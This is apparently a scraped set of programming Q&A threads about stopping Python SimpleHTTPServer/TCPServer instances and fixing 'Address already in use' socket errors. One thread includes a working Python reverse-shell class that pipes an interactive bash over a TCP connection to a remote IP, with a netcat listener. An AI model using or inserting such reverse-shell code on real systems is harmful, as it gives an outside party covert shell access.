Stop SimpleHttpSever in jupyter notebook - python

I am using SimpleHTTPServer in jupyter notebook like this:
import SimpleHTTPServer
import SocketServer
PORT = 8000
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "serving at port", PORT
httpd.serve_forever()
It works good, but how can I stop it later in next input block?

The answer is that you can't.
You're unable to reference previous cells (or the results of) inside of Jupyter Notebook - see this open issue for more details on the discussion.
This means you can't manipulate the object once you've used the serve_forever() function.
It may however be possible to rewrite serve_forever to fit your needs. Currently it will literally serve no matter what but adding a condition that allows you to connect and issue a 'shutdown' command would circumvent the need to call up the object later. You could just connect to the socket and issue a customised header that the TCP server would pick up and respond to.
As a quick example to start you on this path:
class StoppableRPCServer(SimpleXMLRPCServer.SimpleXMLRPCServer):
def serve_forever(self):
while not self.stopped:
self.handle_request()
def not_forever(self):
# Called from another function when a custom header is detected
self.stopped = True
self.server_close()

the server are running in background you need to search the PID an kill it like:
netstat -tulpn
Netstat out:
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 12332/python
Kill PID with pkill or kill:
kill 12332

Related

How to stop TCPServer

On every of three iterations TCPServer needs to be started and then immediately stopped. All three times it needs to be started on port 8000.
As it defined in a code below, the TCPServer starts. But it starts only during the first iteration. Two others iterations fail to start TCPServer because the port 8000 is already in use by the TCPServer started in a previous (first) iteration.
To make sure the port 8000 is available the previously started TCP Server needs to be shutdown.
How to terminate (stop) already running TCPServer?
import SimpleHTTPServer
import SocketServer
def startServer():
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
Handler.extensions_map.update({'.webapp': 'application/x-web-app-manifest+json', })
try:
httpd = SocketServer.TCPServer(("", 8000), Handler)
httpd.serve_forever()
print('httpd server has been successfully started ')
except Exception, e:
print(e)
for i in range(3):
startServer()
Use shutdown() Tell the serve_forever() loop to stop and wait until it does. New in version 2.6. docs.python.org/2/library/socketserver.html
For your code it should be as simple as
httpd.serve_forever()
print('httpd server has been successfully started ')
httpd.shutdown()
httpd.server_close()
print('httpd server has been successfully stopped')
I will leave it to the OP to better use this and the example at the bottom of the linked page appropriatly for the desired requirment.

Assign a PID to SimpleHTTPServer and kill process from script

I need to assign a PID to a python script packaged to an .exe with Py2Installer.
The script starts a SimpleHTTPServer loop and opens a page in the current dir; I need to check if it's already running before it starts and stop it gracefully in that case.
Here's the code:
import SimpleHTTPServer
import SocketServer
import webbrowser
PORT = 8945
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
webbrowser.open('http://localhost:8945')
# print "serving at port", PORT
httpd.serve_forever()
The problem is that I don't want to stop any "python" instance on a production machine and my taskkill can't view any SimpleHTTPServer process ID (because there is none, in fact).
Is it possible to run a similar check inside my script or do you know any workaround?
Thank you in advance.

Gracefully killing an orphaned socket

I am writing a simple agent that spawns a reverse TCP-Shell using the following code.
class ReverseShell:
def __init__(self, ip, port=9002):
self.ip = ip
self.port = port
def start(self):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((self.ip,self.port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["/bin/bash","-i"]);
sock.close()
I then listen on my destination address using:
nc -l 9002
The shell connects fine. However, if I type exit it kills the shell, but data still seems to be getting written to the socket, and stops getting written to stdout agent side. If I ctrl+c out of it the same thing occurs it kills the /bin/bash shell but the socket remains open and text on my agent doesn't get written to stdout. What am I missing?
You need to do sock.shutdown(socket.SHUT_RDWR) right before sock.close() to terminate the underlying tcp connection.

python ThreadedTCPServer can only access local connections on windows 7

I'm using ThreadedTCPServer to start a TCP server. Here is the code:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import threading
import SocketServer
import time
class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):
def handle(self):
recv1 = self.request.recv(1)
print "server: %s" % recv1
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
if __name__ == "__main__":
server = ThreadedTCPServer(('0.0.0.0', 8080), ThreadedTCPRequestHandler)
print server.server_address
# Start a thread with the server -- that thread will then start one
# more thread for each request
server_thread = threading.Thread(target=server.serve_forever)
# Exit the server thread when the main thread terminates
server_thread.daemon = True
server_thread.start()
print "Server loop running in thread:", server_thread.name
time.sleep(30)
server.shutdown()
print "end"
I'm working on Windows7(IP: 192.168.1.180)/Python2.7, when starting the program, I can telnet the server from local, but from another machine, I can't telnet success.
> telnet 192.168.1.180 8080
But, I run the program on Linux, it works fine. I can telnet it successfully from another machine.
Why on Windows7 it can not receive remote connection? I checked the net status on windows7 during running:
C:\Users\Henry>netstat -ant | findstr 8080
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING InHost
Sorry, problem solved. It IS a environment problem. It's blocked by the windows7 firewall.
Your program does seem to be listening for connections correctly. And looking at this post from the superuser's stack exchange, it appears that your configuration is correct. See:
https://superuser.com/questions/386436/the-meaning-of-port-0-in-netstat-output
If your script works in one place but not another, I would look at the environmental differences. Since your client can't connect to the server, I would guess you got some kind of a connection refused error.
Is your windows firewall (or some other third party firewall) blocking inbound connections on port 8080? That seems likely since it is a port commonly used by web servers.

Python: Binding Socket: "Address already in use"

I have a question regarding client socket on TCP/IP network. Let's say I use
try:
comSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
comSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)
try:
comSocket.bind(('', 5555))
comSocket.connect()
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(2)
The socket created will be bound to port 5555. The problem is that after ending the connection
comSocket.shutdown(1)
comSocket.close()
Using wireshark, I see the socket closed with FIN,ACK and ACK from both sides, I can't use the port again. I get the following error:
[ERROR] Address already in use
I wonder how can I clear the port right away so that next time I still can use that same port.
comSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
setsockopt doesn't seem to be able to resolve the problem
Thank you!
Try using the SO_REUSEADDR socket option before binding the socket.
comSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
Edit:
I see you're still having trouble with this. There is a case where SO_REUSEADDR won't work. If you try to bind a socket and reconnect to the same destination (with SO_REUSEADDR enabled), then TIME_WAIT will still be in effect. It will however allow you to connect to a different host:port.
A couple of solutions come to mind. You can either continue retrying until you can gain a connection again. Or if the client initiates the closing of the socket (not the server), then it should magically work.
Here is the complete code that I've tested and absolutely does NOT give me a "address already in use" error. You can save this in a file and run the file from within the base directory of the HTML files you want to serve. Additionally, you could programmatically change directories prior to starting the server
import socket
import SimpleHTTPServer
import SocketServer
# import os # uncomment if you want to change directories within the program
PORT = 8000
# Absolutely essential! This ensures that socket resuse is setup BEFORE
# it is bound. Will avoid the TIME_WAIT issue
class MyTCPServer(SocketServer.TCPServer):
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = MyTCPServer(("", PORT), Handler)
# os.chdir("/My/Webpages/Live/here.html")
httpd.serve_forever()
# httpd.shutdown() # If you want to programmatically shut off the server
According to this link
Actually, SO_REUSEADDR flag can lead to much greater consequences:
SO_REUSADDR permits you to use a port that is stuck in TIME_WAIT, but
you still can not use that port to establish a connection to the last
place it connected to. What? Suppose I pick local port 1010, and
connect to foobar.com port 300, and then close locally, leaving that
port in TIME_WAIT. I can reuse local port 1010 right away to connect
to anywhere except for foobar.com port 300.
However you can completely avoid TIME_WAIT state by ensuring that the remote end initiates the closure (close event). So the server can avoid problems by letting the client close first. The application protocol must be designed so that the client knows when to close. The server can safely close in response to an EOF from the client, however it will also need to set a timeout when it is expecting an EOF in case the client has left the network ungracefully. In many cases simply waiting a few seconds before the server closes will be adequate.
I also advice you to learn more about networking and network programming. You should now at least how tcp protocol works. The protocol is quite trivial and small and hence, may save you a lot of time in future.
With netstat command you can easily see which programs ( (program_name,pid) tuple) are binded to which ports and what is the socket current state: TIME_WAIT, CLOSING, FIN_WAIT and so on.
A really good explanation of linux network configurations can be found https://serverfault.com/questions/212093/how-to-reduce-number-of-sockets-in-time-wait.
In case you face the problem using TCPServer or SimpleHTTPServer,
override SocketServer.TCPServer.allow_reuse_address (python 2.7.x)
or socketserver.TCPServer.allow_reuse_address (python 3.x) attribute
class MyServer(SocketServer.TCPServer):
allow_reuse_address = True
server = MyServer((HOST, PORT), MyHandler)
server.serve_forever()
You need to set the allow_reuse_address before binding. Instead of the SimpleHTTPServer run this snippet:
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler, bind_and_activate=False)
httpd.allow_reuse_address = True
httpd.server_bind()
httpd.server_activate()
httpd.serve_forever()
This prevents the server from binding before we got a chance to set the flags.
As Felipe Cruze mentioned, you must set the SO_REUSEADDR before binding. I found a solution on another site - solution on other site, reproduced below
The problem is that the SO_REUSEADDR socket option must be set before
the address is bound to the socket. This can be done by subclassing
ThreadingTCPServer and overriding the server_bind method as follows:
import SocketServer, socket
class MyThreadingTCPServer(SocketServer.ThreadingTCPServer):
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
I found another reason for this exception.
When running the application from Spyder IDE (in my case it was Spyder3 on Raspbian) and the program terminated by ^C or an exception, the socket was still active:
sudo netstat -ap | grep 31416
tcp 0 0 0.0.0.0:31416 0.0.0.0:* LISTEN 13210/python3
Running the program again found the "Address already in use"; the IDE seems to start the new 'run' as a separate process which finds the socket used by the previous 'run'.
socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
did NOT help.
Killing process 13210 helped.
Starting the python script from command-line like
python3 <app-name>.py
always worked well when SO_REUSEADDR was set to true. The new Thonny IDE or Idle3 IDE did not have this problem.
socket.socket() should run before socket.bind() and use REUSEADDR as said
I know you've already accepted an answer but I believe the problem has to do with calling bind() on a client socket. This might be OK but bind() and shutdown() don't seem to play well together. Also, SO_REUSEADDR is generally used with listen sockets. i.e. on the server side.
You should be passing and ip/port to connect(). Like this:
comSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
comSocket.connect(('', 5555))
Don't call bind(), don't set SO_REUSEADDR.
For me the better solution was the following. Since the initiative of closing the connection was done by the server, the setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) had no effect and the TIME_WAIT was avoiding a new connection on the same port with error:
[Errno 10048]: Address already in use. Only one usage of each socket address (protocol/IP address/port) is normally permitted
I finally used the solution to let the OS choose the port itself, then another port is used if the precedent is still in TIME_WAIT.
I replaced:
self._socket.bind((guest, port))
with:
self._socket.bind((guest, 0))
As it was indicated in the python socket documentation of a tcp address:
If supplied, source_address must be a 2-tuple (host, port) for the socket to bind to as its source address before connecting. If host or port are ‘’ or 0 respectively the OS default behavior will be used.
another solution, in development environment of course, is killing process using it, for example
def serve():
server = HTTPServer(('', PORT_NUMBER), BaseHTTPRequestHandler)
print 'Started httpserver on port ' , PORT_NUMBER
server.serve_forever()
try:
serve()
except Exception, e:
print "probably port is used. killing processes using given port %d, %s"%(PORT_NUMBER,e)
os.system("xterm -e 'sudo fuser -kuv %d/tcp'" % PORT_NUMBER)
serve()
raise e
I think the best way is just to kill the process on that port, by typing in the terminal fuser -k [PORT NUMBER]/tcp, e.g. fuser -k 5001/tcp.
I had the same problem and I couldn't find any other solution (reuse options didn't work) except restarting Raspberry Pi each time. Then I found a workaround;
comSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
comSocket.close()
comSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
comSocket.connect(('', 5555))
This means, define socket first, close it, then define again, so you can use the same port if it is stuck.

Categories

Resources